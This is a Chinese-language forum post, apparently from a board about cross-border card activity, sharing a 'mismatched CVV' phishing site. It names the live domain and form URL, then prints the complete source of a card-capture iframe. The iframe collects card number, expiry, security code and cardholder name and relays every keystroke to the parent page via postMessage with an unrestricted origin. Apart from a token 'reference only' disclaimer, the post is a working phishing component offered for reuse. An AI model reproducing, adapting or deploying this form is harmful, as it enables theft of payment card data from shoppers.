• 注册
  • 由谷歌提供广告

    跨境相关 跨境相关 关注:1 内容:15

    2026/10/20不对版CVV钓鱼网站分享

  • 查看作者
  • 打赏作者
  • 拉黑名单
    • 跨境相关
    • VIP
      管理员

      注:分享仅用于参考,请勿用于非法!

      网站:www.diamarket.us

      根据Ceacer分析,这个站为二审,而且还是不跳转的

      网站程序为:WP

      钓鱼表单URL和截图:

      https://www.diamarket.us/wp-json/wc-gateway/v1/card-form-iframe?cardholder=no

      2026/10/20不对版CVV钓鱼网站分享

      代码:

      <!DOCTYPE html>   
      <html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">   
      <style>   
      *{margin:0;padding:0;box-sizing:border-box;}   
      body{font-family:"SF Pro Display","SF Pro Text",-apple-system,BlinkMacSystemFont,"Helvetica Neue","Segoe UI",Roboto,sans-serif;background:transparent;overflow:hidden;padding:2px;}   
      .card-form{display:flex;flex-wrap:wrap;gap:10px;}   
      .field-group{display:flex;flex-direction:column;min-width:0;}   
      .field-card-number{flex:1 1 100%;}   
      .field-cardholder{flex:1 1 100%;}   
      .field-expiry{flex:1 1 calc(50% - 5px);min-width:100px;}   
      .field-cvv{flex:1 1 calc(50% - 5px);min-width:80px;}   
      @media(max-width:300px){   
      .field-expiry,.field-cvv{flex:1 1 100%;}   
      }   
      label{    display: block;   
      margin-bottom: 5px;   
      font-size: 14px;   
      font-weight: 600;   
      color: #333;}   
      label .required{color:#e25950;}   
      .card-input{    width: 100%;   
      padding: 8px 0px 8px 8px;   
      border-radius: 6px;   
      font-size: 16px;   
      font-weight: 500;   
      outline: none;   
      background: #fff;   
      color: #333;   
      transition: background 0.15s ease, border 0.15s ease, box-shadow 0.15s ease, color 0.15s ease;   
      border: none;   
      box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.20), 0 1px 2px rgba(0, 0, 0, 0.05);}   
      .card-input:focus{box-shadow:0 0 0 2px #000;}   
      .card-input.has-error{border-color:#e25950;box-shadow:0 0 0 1px #e25950;}   
      .input-wrapper:has(.has-error){box-shadow:0 0 0 1px #e25950;}   
      .input-wrapper{display:flex;align-items:center;border-radius:6px;background:#fff;box-shadow:0 0 0 1px rgba(0,0,0,0.20),0 1px 2px rgba(0,0,0,0.05);transition:box-shadow .15s ease;}   
      .input-wrapper:focus-within{box-shadow:0 0 0 2px #000;}   
      .input-wrapper .card-input{flex:1;min-width:175px;border:none;box-shadow:none;border-radius:0;background:transparent;}   
      .input-wrapper .card-input:focus{box-shadow:none;}   
      .card-icon{display:flex;align-items:center;padding-right:8px;pointer-events:none;}   
      .brand-list{display:flex;align-items:center;overflow:hidden;transition:max-width .3s ease,opacity .25s ease;max-width:200px;opacity:1;}   
      .brand-list.collapsed{max-width:0;opacity:0;}   
      .brand-item{flex-shrink:0;width:37px;height:20px;}   
      .brand-item svg{width:37px;height:20px;}   
      .brand-slot{position:relative;flex-shrink:0;width:37px;height:20px;}   
      .brand-slot svg{position:absolute;top:0;left:0;width:37px;height:20px;opacity:0;transition:opacity .6s ease;}   
      .brand-slot svg.visible{opacity:1;}   
      .brand-single{display:flex;align-items:center;overflow:hidden;opacity:0;max-width:0;transition:max-width .3s ease .15s,opacity .25s ease .2s;}   
      .brand-single.active{opacity:1;max-width:40px;}   
      .brand-single svg{width:37px;height:20px;}   
      .cvv-wrapper{display:block;position:relative;background:none;box-shadow:none;}   
      .cvv-wrapper:focus-within{box-shadow:none;}   
      .cvv-wrapper .card-input{min-width:0;box-shadow:0 0 0 1px rgba(0,0,0,0.20),0 1px 2px rgba(0,0,0,0.05);border-radius:6px;background:#fff;}   
      .cvv-wrapper .card-input:focus{box-shadow:0 0 0 2px #000;}   
      .cvv-icon{position:absolute;right:10px;top:50%;transform:translateY(-50%);width:24px;height:24px;color:#9ca3af;pointer-events:none;}   
      .cvv-icon svg{width:100%;height:100%;}   
      .field-error{display:none;color:#e25950;font-size:13px;margin-top:4px;}   
      .field-error.visible{display:block;}   
      </style></head><body>   
      <div class="card-form">   
      <div class="field-group field-card-number">   
      <label>Card number</label>   
      <div class="input-wrapper">   
      <input type="text" class="card-input" id="cardNumber" name="cardnumber" placeholder="1234 1234 1234 1234" maxlength="19" autocomplete="cc-number" inputmode="numeric">   
      <span class="card-icon" id="cardTypeIcon">   
      <span class="brand-list" id="brandList"></span>   
      <span class="brand-single" id="brandSingle"></span>   
      </span>   
      </div>   
      <span class="field-error" id="cardNumberError">Your card number is incomplete.</span>   
      </div>   
      <div class="field-group field-expiry">   
      <label>Expiry date</label>   
      <input type="text" class="card-input" id="cardExpiry" name="cc-exp" placeholder="MM/YY" maxlength="5" autocomplete="cc-exp" inputmode="numeric">   
      <span class="field-error" id="cardExpiryError">Your card&#039;s expiration date is incomplete.</span>   
      </div>   
      <div class="field-group field-cvv">   
      <label>Security Code</label>   
      <div class="input-wrapper cvv-wrapper">   
      <input type="text" class="card-input" id="cardCvv" name="cvc" placeholder="CVC" maxlength="4" autocomplete="cc-csc" inputmode="numeric" style="padding-right:40px;">   
      <span class="cvv-icon"><svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><rect x="1" y="4" width="22" height="16" rx="2" stroke="currentColor" stroke-width="1.5"/><rect x="1" y="7" width="22" height="3" fill="currentColor" opacity="0.3"/><rect x="14" y="13" width="6" height="4" rx="0.5" stroke="currentColor" stroke-width="1"/><text x="17" y="16" font-size="3" fill="currentColor" text-anchor="middle">123</text></svg></span>   
      </div>   
      <span class="field-error" id="cardCvvError">Your card&#039;s security code is incomplete.</span>   
      </div>   
      </div>   
      <script>   
      (function(){   
      var SVG_ICONS = {"visa":"<svg t=\"1751346911607\" class=\"icon\" viewBox=\"64 235 896 554\" version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"\n    p-id=\"9856\" width=\"200\" height=\"124\">\n    <path\n        d=\"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z\"\n        fill=\"#F7F9FB\" p-id=\"9857\"><\/path>\n    <path\n        d=\"M802.55 407.63c-14.45 0-28.34-0.02-42.23 0.01-15.21 0.03-22.01 4.6-27.95 18.78-20 47.75-40.01 95.5-59.98 143.26-6.41 15.34-12.72 30.73-19.25 46.54h56.09c3.84-10.45 7.51-20.45 11.22-30.53h69.52c2.27 10.28 4.51 20.4 6.75 30.53h49.27c-14.53-69.79-28.92-138.92-43.44-208.59z m-66.61 135.02c9.38-25.96 18.46-51.1 27.55-76.24 0.62 0.05 1.24 0.1 1.86 0.16l15.82 76.08h-45.23zM374.56 407.86c-18.41 46.6-36.78 93.09-55.14 139.58-0.5 0.02-1 0.05-1.49 0.07-0.52-2.16-1.13-4.31-1.54-6.5-7.04-37.48-14-74.97-21.12-112.43-2.36-12.42-11.42-20.78-23.77-20.91-30.6-0.34-61.21-0.11-91.71-0.11-1.32 1.81-2.42 3.41-1.34 5.91 16.41 4.26 32.93 8.69 48.61 15.88 9.17 4.2 14.23 10.78 16.67 20.47 10.03 39.87 20.4 79.65 30.67 119.45 4.08 15.82 8.24 31.63 12.31 47.27h57.13c29-69.41 57.95-138.7 87.18-208.68h-56.46zM631.62 505c-7.13-5.5-15.08-9.64-22.97-13.9-8.09-4.36-16.62-8.07-23.47-14.4-8.51-7.87-7.62-17.34 2.11-23.68 6.24-4.07 13.24-5.38 20.58-5.72 16.41-0.76 31.95 3.04 47.8 9.49 3.14-14.88 6.14-29.11 9.19-43.58-23.08-9.11-46.18-10.79-69.67-7.95-16.52 2-31.86 7.53-45.52 17.4-28.74 20.78-41.06 67.97 0.86 95.34 6.45 4.21 13.25 7.88 19.94 11.71 5.83 3.33 11.94 6.21 17.54 9.87 6.43 4.2 11.92 9.5 10.72 18.23-1.22 8.78-7.61 13.01-15.16 15.83-10.82 4.04-22.01 3.45-33.2 2.28-13.75-1.44-26.49-6.3-39.4-12.34-3.28 15.39-6.44 30.17-9.67 45.29 20.54 9.12 55.16 13.21 78.67 10.07 20.66-2.77 39.77-8.91 55.41-23.45 27.75-25.77 26.01-67.51-3.76-90.49zM454.66 407.85c-14.89 69.73-29.67 139-44.54 208.65h53.72c14.81-69.5 29.58-138.81 44.46-208.65h-53.64z\"\n        fill=\"#142C97\" p-id=\"9858\"><\/path>\n<\/svg>","mastercard":"<svg t=\"1751346921345\" class=\"icon\" viewBox=\"64 235 896 554\" version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"\n    p-id=\"9856\" width=\"200\" height=\"124\">\n    <path\n        d=\"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z\"\n        fill=\"#F7F9FB\" p-id=\"9860\"><\/path>\n    <path d=\"M427.25 512m-134 0a134 134 0 1 0 268 0 134 134 0 1 0-268 0Z\" fill=\"#EA001B\" p-id=\"9861\">\n    <\/path>\n    <path d=\"M596.75 512m-134 0a134 134 0 1 0 268 0 134 134 0 1 0-268 0Z\" fill=\"#F79F1A\" p-id=\"9862\">\n    <\/path>\n    <path\n        d=\"M463 512.25c0 41.71 19.06 78.97 48.94 103.54 30.24-24.57 49.56-62.05 49.56-104.04 0-41.71-19.06-78.97-48.94-103.54C482.32 432.78 463 470.25 463 512.25z\"\n        fill=\"#FF5F01\" p-id=\"9863\"><\/path>\n    <path\n        d=\"M719.58 579.14h1.67v4.35h0.75v-4.35h1.67v-0.65h-4.09zM728.66 578.49l-1.73 4.01h-0.02l-1.74-4.01h-0.9v5h0.76v-3.57h0.03l1.53 3.57h0.65l1.53-3.57h0.03v3.57h0.76v-5z\"\n        fill=\"#F79F1A\" p-id=\"9864\"><\/path>\n    <path\n        d=\"M725.4 708.75c-2.07 0-3.75 1.68-3.75 3.75s1.68 3.75 3.75 3.75 3.75-1.68 3.75-3.75-1.68-3.75-3.75-3.75z m0 7c-1.79 0-3.25-1.46-3.25-3.25s1.46-3.25 3.25-3.25 3.25 1.46 3.25 3.25-1.46 3.25-3.25 3.25z\"\n        p-id=\"1521\"><\/path>\n<\/svg>","amex":"<svg t=\"1751346932944\" class=\"icon\" viewBox=\"64 235 896 554\" version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"\n    p-id=\"9856\" width=\"200\" height=\"124\">\n    <path\n        d=\"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z\"\n        fill=\"#F7F9FB\" p-id=\"1668\"><\/path>\n    <path\n        d=\"M610.26 472.32v28.34h43.46v22.68h-43.46v28.34h47.23l35.91-41.57-32.13-37.79zM281.48 515.78h35.9l-18.9-43.46z\"\n        fill=\"#0079C2\" p-id=\"1669\"><\/path>\n    <path\n        d=\"M837 421.3h-98.26l-24.56 30.23-24.56-30.23H487.44l-24.56 54.8-22.67-54.8h-90.7v34.01l-13.23-34.01h-73.69L187 602.7h86.92l11.34-32.12h28.34l11.34 32.12h103.92v-9.45l5.67 9.45h249.42l28.34-32.12 28.34 32.12H837L763.31 512 837 421.3zM555.46 578.13h-37.79v-96.37l-39.68 96.37h-28.34l-43.46-98.26v98.26h-64.24l-15.12-32.12h-56.69l-13.23 32.12H222.9l54.8-132.27h41.57l54.8 124.71v-124.7h51.02l37.79 86.92 39.68-86.92h52.91v132.26z m230.52 0h-37.79l-35.9-43.46-37.79 43.46h-96.37V445.87h102.03l34.01 41.57 34.01-41.57h37.79L733.08 512l52.9 66.13z\"\n        fill=\"#0079C2\" p-id=\"1670\"><\/path>\n<\/svg>","maestro":"<svg t=\"1751347082321\" class=\"icon\" viewBox=\"64 235 896 554\" version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"\n    p-id=\"9856\" width=\"200\" height=\"124\">\n    <path\n        d=\"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z\"\n        fill=\"#F7F9FB\" p-id=\"1817\"><\/path>\n    <path d=\"M427.25 512m-134 0a134 134 0 1 0 268 0 134 134 0 1 0-268 0Z\" fill=\"#EA001B\" p-id=\"1818\">\n    <\/path>\n    <path d=\"M596.75 512m-134 0a134 134 0 1 0 268 0 134 134 0 1 0-268 0Z\" fill=\"#00A5FF\" p-id=\"1819\">\n    <\/path>\n    <path\n        d=\"M463 512.25c0 41.71 19.06 78.97 48.94 103.54 30.24-24.57 49.56-62.05 49.56-104.04 0-41.71-19.06-78.97-48.94-103.54C482.32 432.78 463 470.25 463 512.25z\"\n        fill=\"#7475CF\" p-id=\"1820\"><\/path>\n    <path\n        d=\"M719.58 579.14h1.67v4.35h0.75v-4.35h1.67v-0.65h-4.09zM728.66 578.49l-1.73 4.01h-0.02l-1.74-4.01h-0.9v5h0.76v-3.57h0.03l1.53 3.57h0.65l1.53-3.57h0.03v3.57h0.76v-5z\"\n        fill=\"#00A5FF\" p-id=\"1821\"><\/path>\n    <path\n        d=\"M662.15 708.75c-2.07 0-3.75 1.68-3.75 3.75s1.68 3.75 3.75 3.75 3.75-1.68 3.75-3.75-1.68-3.75-3.75-3.75z m0 7c-1.79 0-3.25-1.46-3.25-3.25s1.46-3.25 3.25-3.25 3.25 1.46 3.25 3.25-1.45 3.25-3.25 3.25z\"\n        p-id=\"1823\"><\/path>\n<\/svg>","discover":"<svg t=\"1751347102074\" class=\"icon\" viewBox=\"64 235 896 554\" version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"\n    p-id=\"9856\" width=\"200\" height=\"124\">\n    <path\n        d=\"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z\"\n        fill=\"#F7F9FB\" p-id=\"2122\"><\/path>\n    <path\n        d=\"M224.36 462.32c-14.45-2.76-29.1-1.23-43.66-1.42-0.45-0.01-0.9 0.48-1.17 0.64v106.05c12.98-0.12 25.7 0.43 38.4-0.49 26.09-1.9 47.82-23.57 49.23-48.94 1.57-28.37-15.36-50.59-42.8-55.84z m15.13 72.85c-6.93 10.56-20.62 15.99-39.3 13.8v-69.03c14.8-3.51 31.42 2.27 39.21 13.52 8.41 12.13 8.34 29.15 0.09 41.71zM831.9 544.95c-5.38-7.24-10.75-14.5-16.38-22.1 2.05-0.72 3.62-1.24 5.18-1.82 7.38-2.74 12.98-7.48 16.17-14.75 8.67-19.76-1.42-39.58-22.45-44.09-11.77-2.53-23.72-1.02-35.59-1.36-2.5-0.07-5-0.01-7.73-0.01v106.4h20.72v-41.65c3.26-1.26 3.82 1.24 4.83 2.72 8.84 12.99 17.61 26.02 26.35 38.98h25.5c-5.84-7.86-11.23-15.09-16.6-22.32z m-39.96-34.92v-32.21c8.47-0.3 16.92-1.16 23.1 6.22 3.7 4.42 4.04 13.43 0.66 18.46-5.73 8.54-14.62 7.67-23.76 7.53zM698.35 567.25h58.5v-17.48c-12.74-0.7-25.28 0.43-37.86-0.52v-28.44h36.18v-18.22H719.2v-23.52h37.68v-18h-58.53v106.18zM637.08 532.34l-28.17-71.14h-23.14c15.27 36.74 30.3 72.92 45.27 108.97h11.29c15.31-36.26 30.61-72.46 46.1-109.14H665.7c-9.42 23.49-18.78 46.8-28.62 71.31zM360.36 506.81c-3.17-1.57-6.45-2.93-9.74-4.22-4.09-1.6-8.24-3.03-12.11-5.15-3.88-2.13-6.5-4.98-6.08-9.79 0.4-4.67 3.2-7.52 7.24-9.13 7.74-3.1 14.97-2.12 21.5 3.27 1.14 0.94 1.87 2.5 3.92 2.76 3.43-4.31 6.91-8.69 10.36-13.03-11.69-11.87-33-15.73-47.35-8.7-11.18 5.48-17.09 14.59-17.43 27.06-0.33 12.3 6.09 20.22 16.89 25.07 3.62 1.62 7.31 3.06 10.98 4.56 3.67 1.5 7.44 2.79 11.01 4.49 5.78 2.75 8.48 7.38 8.01 13.25-0.5 6.28-3.73 10.57-9.66 12.73-8.14 2.97-18.61 0.07-24.78-6.91-1.59-1.79-2.95-3.78-4.2-5.4-4.22 4.16-8.42 8.3-12.88 12.69 9.71 16.02 28.79 23.49 47.51 18.56 14.85-3.92 23.98-14.72 25.61-30.32 1.6-15.11-3.88-24.42-18.8-31.79zM419.16 542.4c-13.08-11.81-15.9-33.09-6.29-48.26 4.55-7.19 10.78-12.38 19-14.88 13.7-4.17 25.51-0.36 36.03 9.86v-23.77c-20.52-12.57-50.66-7.29-67.71 11.7-18.19 20.27-19.51 49.88-3.16 71.14 16.22 21.09 46.68 27.95 70.71 15.79 0.93-8.15 0.62-20.71-0.55-23.55-17.14 13.3-34.67 14.02-48.03 1.97zM277.15 567.28h20.14V461.01h-20.14v106.27z\"\n        p-id=\"2123\"><\/path>\n    <path d=\"M532 514.47m-56.5 0a56.5 56.5 0 1 0 113 0 56.5 56.5 0 1 0-113 0Z\" fill=\"#F07824\" p-id=\"2124\"><\/path>\n    <path\n        d=\"M847.57 463.57h-3.83v7.91h1.61v-3.31h2.15l2.88 3.31h1.83l-3.07-3.44c1.62-0.27 2.69-1 2.69-2.23 0-1.66-1.79-2.24-4.26-2.24z m-2.21 3.74v-2.89h1.99c1.86 0 2.88 0.36 2.88 1.39 0 1.01-1.02 1.5-2.88 1.5h-1.99z\"\n        p-id=\"2125\"><\/path>\n    <path\n        d=\"M847.97 459.05c-4.67 0-8.47 3.8-8.47 8.48 0 4.67 3.8 8.47 8.47 8.47 4.67 0 8.48-3.8 8.48-8.47 0-4.68-3.8-8.48-8.48-8.48z m0 15.82c-4.05 0-7.34-3.3-7.34-7.34 0-4.05 3.3-7.34 7.34-7.34 4.05 0 7.34 3.29 7.34 7.34 0.01 4.04-3.29 7.34-7.34 7.34z\"\n        p-id=\"2126\"><\/path>\n    <path d=\"M960 558.38c-88.55 75.3-420.84 190.2-618.91 230.62H888c39.76 0 72-32.24 72-72V558.38z\" fill=\"#F07824\"\n        p-id=\"2127\"><\/path>\n<\/svg>","jcb":"<svg t=\"1751347093261\" class=\"icon\" viewBox=\"64 235 896 554\" version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"\n    p-id=\"9856\" width=\"200\" height=\"124\">\n    <path\n        d=\"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z\"\n        fill=\"#F7F9FB\" p-id=\"1971\"><\/path>\n    <path\n        d=\"M440 366v219c0 44-3.5 73-73 73h-48.67V554.54c21.9 6.12 49.64 6.12 49.64 6.12 46.36 0 59.86-17.99 59.86-40.23v-57.1h-41.62v57.1c0 13.9-9.31 24.29-26.09 24.29-14.24 0-28.29-4.26-41.79-10.94V439c0-61 23.17-73 73-73H440z\"\n        fill=\"#086CB4\" p-id=\"1972\"><\/path>\n    <path\n        d=\"M573.83 366v219c0 54-13.33 73-73 73h-48.67l-0.02-115.24c11.92 11.74 33.87 19.34 71.18 17.68 0 0 18.62-0.73 38.34-5.6v-20.45c-9.58 4.88-21.75 9.58-36.87 10.66-26.54 1.99-42.4-10.66-42.4-33.07 0-22.4 15.86-35.06 42.4-33.07 15.11 1.09 27.1 5.6 36.87 10.48v-20.24c-19.73-4.88-38.34-5.6-38.34-5.6-37.31-1.66-59.26 5.94-71.18 17.68l0.02-42.24c0-61 20.33-73 73-73h48.67z\"\n        fill=\"#E90037\" p-id=\"1973\"><\/path>\n    <path\n        d=\"M641.93 502.85c5.72-0.87 9.92-6.03 9.77-12.02 0.15-6.03-4.02-11.24-9.77-12.21-0.55 0-1.84-0.2-2.76-0.2h-25.63v24.62h26.37l0.78-0.02c0.5-0.03 0.96-0.08 1.24-0.17zM613.52 544.83h28.21l1.67-0.11 1.65-0.27c5.11-1.05 9.27-5.36 9.88-11.42l0.08-1.55-0.08-1.52c-0.61-5.95-4.77-10.42-9.88-11.48-1.09-0.23-2.2-0.35-3.32-0.38h-28.21v26.73z\"\n        fill=\"#69A547\" p-id=\"1974\"><\/path>\n    <path\n        d=\"M660 366c-67.5 0-73 26-73 73v24.33h71.72l1.29 0.03c1.32 0.06 2.67 0.17 3.5 0.17 15.67 0.76 27.28 9.15 27.28 23.66 0 10.64-7.07 19.91-19.98 22.68l-2.34 0.42v0.57l2.24 0.22c14.04 1.73 24.72 9.93 25.71 22.31l0.07 1.89-0.07 1.9c-0.98 13.74-12.83 22.68-28.86 23.43l-2.21 0.05H587V658h48.67c64.83 0 73-27 73-73V366H660z\"\n        fill=\"#69A547\" p-id=\"1975\"><\/path>\n<\/svg>","diners":"<svg t=\"1752098897784\" class=\"icon\" viewBox=\"64 235 896 554\" version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"\n    width=\"200\" height=\"124\">\n    <path\n        d=\"M888 789H136c-39.76 0-72-32.24-72-72V307c0-39.76 32.24-72 72-72h752c39.76 0 72 32.24 72 72v410c0 39.76-32.24 72-72 72z\"\n        fill=\"#F7F9FB\"><\/path>\n    <g transform=\"translate(512, 512) scale(2) translate(-512, -430)\">\n        <path\n            d=\"M632.7 432.37c-0.37-4.14-0.96-8.23-1.86-12.29-3.57-16.13-10.88-30.37-22.01-42.57-14.43-15.83-32.26-25.85-53.08-30.64-5.88-1.35-11.85-2.17-17.88-2.39-0.63-0.02-1.3 0.03-1.85-0.39h-51.63c-0.65 0.48-1.42 0.38-2.15 0.4-3.41 0.09-6.8 0.48-10.17 0.99-6.56 0.99-12.96 2.61-19.2 4.88-15.02 5.49-27.93 14.11-38.47 26.14-14.62 16.69-21.93 36.36-23.3 58.35-0.29 4.63-0.24 9.28 0.17 13.93 0.37 4.19 0.94 8.34 1.87 12.43 4.7 20.64 15.2 37.81 31.17 51.64 8.95 7.75 19.04 13.58 30.17 17.62a95.327 95.327 0 0 0 25.23 5.43c3.49 0.27 7 0.38 10.52 0.35 7.76-0.07 15.53 0.03 23.29-0.03 8.5-0.07 17 0.25 25.5-0.23 3.8-0.21 7.57-0.63 11.31-1.31 10.52-1.9 20.53-5.33 29.94-10.42 20.35-11 35.74-26.72 45.31-47.91 4.17-9.22 6.59-18.93 7.3-29.01 0.34-4.98 0.27-9.98-0.18-14.97z m-144.79 95.96c-49.88-0.16-88.23-40.76-88.27-88.18-0.04-47.26 37.98-88.3 88.23-88.31 48.9-0.01 88.16 39.31 88.18 88.19 0.01 49.2-39.64 88.12-88.14 88.3z\"\n            fill=\"#04568E\"><\/path>\n        <path\n            d=\"M508.18 388.56c-0.34 0.66-0.2 1.27-0.2 1.85-0.01 33.12-0.01 66.24-0.01 99.36 0 0.3-0.01 0.59 0 0.89 0.01 0.33-0.07 0.71 0.32 0.92 17.35-6.29 35.63-25.69 35.04-52.84-0.55-24.92-17.52-43.82-35.15-50.18zM467.56 388.76c0-0.04-0.05-0.08-0.09-0.11-0.04-0.03-0.09-0.05-0.13-0.07-18.56 7-35.55 26.51-34.98 52.76 0.56 25.42 17.53 43.71 35.06 50.21 0.27-0.29 0.24-0.54 0.24-0.79-0.06-34 0.11-68-0.1-102z\"\n            fill=\"#04568E\"><\/path>\n    <\/g>\n<\/svg>"};   
      function formatCardNumber(value) {   
      var cleaned = value.replace(/\s/g, "");   
      var formatted = cleaned.match(/.{1,4}/g);   
      return formatted ? formatted.join(" ") : cleaned;   
      }   
      function formatExpiry(value) {   
      var cleaned = value.replace(/\D/g, "");   
      var formatted = "";   
      for (var i = 0; i < cleaned.length && i < 4; i++) {   
      if (i === 2) formatted += "/";   
      formatted += cleaned[i];   
      }   
      return formatted;   
      }   
      function getCardType(cardNumber) {   
      var cleaned = cardNumber.replace(/\s/g, "");   
      if (!cleaned) return "unknown";   
      if (cleaned.length >= 2) {   
      if (/^3[47]/.test(cleaned)) return "amex";   
      if (/^(50|56|57|58|63|67)/.test(cleaned)) return "maestro";   
      if (/^(2[2-7]|5[1-5])/.test(cleaned)) return "mastercard";   
      if (/^(21|35)/.test(cleaned)) return "jcb";   
      if (/^(60|62|64|65)/.test(cleaned)) return "discover";   
      if (/^(30|36|38|39)/.test(cleaned)) return "diners";   
      }   
      var first = cleaned.charAt(0);   
      if (first === "4") return "visa";   
      if (first === "5") return "mastercard";   
      if (first === "2") return "mastercard";   
      if (first === "6") return "discover";   
      return "unknown";   
      }   
      function postToParent(data) {   
      window.parent.postMessage(data, "*");   
      }   
      function notifyResize() {   
      var height = document.body.scrollHeight;   
      postToParent({ type: "cardIframeResize", height: height });   
      }   
      var cardNumberEl = document.getElementById("cardNumber");   
      var cardExpiryEl = document.getElementById("cardExpiry");   
      var cardCvvEl = document.getElementById("cardCvv");   
      var cardNameEl = document.getElementById("cardName");   
      var brandListEl = document.getElementById("brandList");   
      var brandSingleEl = document.getElementById("brandSingle");   
      var cardIconEl = document.getElementById("cardTypeIcon");   
      /* --- 品牌图标统一管理 --- */   
      var ALL_BRANDS = ["mastercard", "visa", "amex", "discover", "jcb", "diners", "maestro"];   
      var ICON_W = 37;   
      var lastBrand = "unknown";   
      var visibleSlots = -1;   
      var rotateTimer = null;   
      var rotateIndex = 0;   
      var rotateIcons = [];   
      function stopRotation() {   
      if (rotateTimer) { clearInterval(rotateTimer); rotateTimer = null; }   
      for (var i = 0; i < rotateIcons.length; i++) {   
      rotateIcons[i].classList.remove("visible");   
      }   
      }   
      function startRotation() {   
      if (rotateIcons.length < 1 || rotateTimer) return;   
      rotateIndex = 0;   
      rotateIcons[0].classList.add("visible");   
      if (rotateIcons.length < 2) return;   
      rotateTimer = setInterval(function() {   
      rotateIcons[rotateIndex].classList.remove("visible");   
      rotateIndex = (rotateIndex + 1) % rotateIcons.length;   
      rotateIcons[rotateIndex].classList.add("visible");   
      }, 2500);   
      }   
      function renderBrandList(slots) {   
      stopRotation();   
      brandListEl.innerHTML = "";   
      var fixedCount = Math.max(0, slots - 1);   
      for (var i = 0; i < fixedCount; i++) {   
      var span = document.createElement("span");   
      span.className = "brand-item";   
      span.innerHTML = SVG_ICONS[ALL_BRANDS[i]] || "";   
      brandListEl.appendChild(span);   
      }   
      var slot = document.createElement("span");   
      slot.className = "brand-slot";   
      for (var j = fixedCount; j < ALL_BRANDS.length; j++) {   
      var tmp = document.createElement("span");   
      tmp.innerHTML = SVG_ICONS[ALL_BRANDS[j]] || "";   
      if (tmp.firstChild) slot.appendChild(tmp.firstChild);   
      }   
      brandListEl.appendChild(slot);   
      rotateIcons = slot.querySelectorAll("svg");   
      startRotation();   
      }   
      var wrapperEl = cardIconEl.parentElement;   
      var INPUT_MIN = 175; /* 与 CSS .input-wrapper .card-input min-width 一致 */   
      function recalcSlots() {   
      if (lastBrand !== "unknown") return;   
      var available = wrapperEl ? wrapperEl.offsetWidth - INPUT_MIN - 8 : 0;   
      var slots = Math.min(4, Math.max(1, Math.floor(available / ICON_W)));   
      if (slots === visibleSlots) return;   
      visibleSlots = slots;   
      renderBrandList(slots);   
      }   
      recalcSlots();   
      new ResizeObserver(function() { recalcSlots(); }).observe(wrapperEl);   
      /* --- 品牌切换动画 --- */   
      function updateBrandIcon(brand) {   
      if (brand === lastBrand) return;   
      lastBrand = brand;   
      if (brand === "unknown") {   
      brandSingleEl.className = "brand-single";   
      brandListEl.className = "brand-list";   
      visibleSlots = -1;   
      recalcSlots();   
      } else {   
      stopRotation();   
      brandListEl.className = "brand-list collapsed";   
      brandSingleEl.innerHTML = SVG_ICONS[brand] || "";   
      brandSingleEl.className = "brand-single active";   
      }   
      }   
      cardNumberEl.addEventListener("input", function(e) {   
      hideError("cardNumber");   
      var raw = e.target.value.replace(/\D/g, "");   
      e.target.value = formatCardNumber(raw);   
      updateBrandIcon(getCardType(raw));   
      postToParent({ type: "cardInput", field: "cardnumber", value: raw });   
      });   
      cardExpiryEl.addEventListener("input", function(e) {   
      hideError("cardExpiry");   
      e.target.value = formatExpiry(e.target.value);   
      postToParent({ type: "cardInput", field: "expiry", value: e.target.value });   
      });   
      cardCvvEl.addEventListener("input", function(e) {   
      hideError("cardCvv");   
      e.target.value = e.target.value.replace(/\D/g, "").substring(0, 4);   
      postToParent({ type: "cardInput", field: "cvv", value: e.target.value });   
      });   
      if (cardNameEl) {   
      cardNameEl.addEventListener("input", function(e) {   
      hideError("cardName");   
      postToParent({ type: "cardInput", field: "cardholder", value: e.target.value });   
      });   
      }   
      var errorMap = {   
      cardNumber: "cardNumberError",   
      cardName: "cardNameError",   
      cardExpiry: "cardExpiryError",   
      cardCvv: "cardCvvError"   
      };   
      function hideError(field) {   
      var el = document.getElementById(errorMap[field]);   
      if (el) { el.classList.remove("visible"); }   
      var input = document.getElementById(field);   
      if (input) { input.classList.remove("has-error"); }   
      }   
      function showError(field) {   
      var el = document.getElementById(errorMap[field]);   
      if (el) { el.classList.add("visible"); }   
      var input = document.getElementById(field);   
      if (input) { input.classList.add("has-error"); }   
      }   
      window.addEventListener("message", function(event) {   
      if (!event.data || !event.data.type) return;   
      switch (event.data.type) {   
      case "showErrors":   
      Object.keys(errorMap).forEach(function(key) { hideError(key); });   
      var errors = event.data.errors || {};   
      if (errors.cardNumber) showError("cardNumber");   
      if (errors.cardName) showError("cardName");   
      if (errors.cardExpiry) showError("cardExpiry");   
      if (errors.cardCvv) showError("cardCvv");   
      notifyResize();   
      break;   
      case "clearCard":   
      cardNumberEl.value = "";   
      cardExpiryEl.value = "";   
      cardCvvEl.value = "";   
      if (cardNameEl) cardNameEl.value = "";   
      updateBrandIcon("unknown");   
      Object.keys(errorMap).forEach(function(key) { hideError(key); });   
      notifyResize();   
      break;   
      }   
      });   
      var resizeObserver = new ResizeObserver(function() { notifyResize(); });   
      resizeObserver.observe(document.body);   
      notifyResize();   
      })();   
      </script>   
